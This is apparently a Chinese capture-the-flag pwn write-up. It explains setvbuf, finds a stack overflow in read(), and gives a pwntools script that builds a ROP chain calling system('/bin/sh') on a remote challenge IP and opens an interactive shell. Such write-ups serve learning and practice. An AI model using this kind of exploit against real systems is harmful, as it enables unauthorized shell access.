知识点
setvbuf:
setvbuf函数的功能:
如果你的内存足够大,可以把文件IO的BUF设置大一些,这样每次你用
fopen/fread/fwrite/fscanf/fprintf语句的时候,都会在内存里操作,减少内存到磁盘IO读写的操作次数,提高系统效率。
如果你的程序的功能涉及到类似数据库、视频、音频、图像处理等大量需要爆发式磁盘到内存的IO情况下,可以考虑setvbuf进行优化内存IO。
功 能: 把缓区与流相关
解题流程
查看保护机制
发现开启了RELRO,NX
只能通过ROP绕过
IDA打开,查看伪码:
0x20=32
0x100=256
read()函数存在栈溢出,查看栈结构
构造rop链
system函数的地址是0x401050
exp
from pwn import *
#sh = process('./pwn')
sh = remote('114.67.246.176',12246)sh.recvuntil('Please Input your name')pop_rdi_ret = 0x40126b
system_addr = 0x401050
binsh_addr = 0x402004payload = b'a' * 32 + p64(1) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
sh.send(payload)
sh.interactive()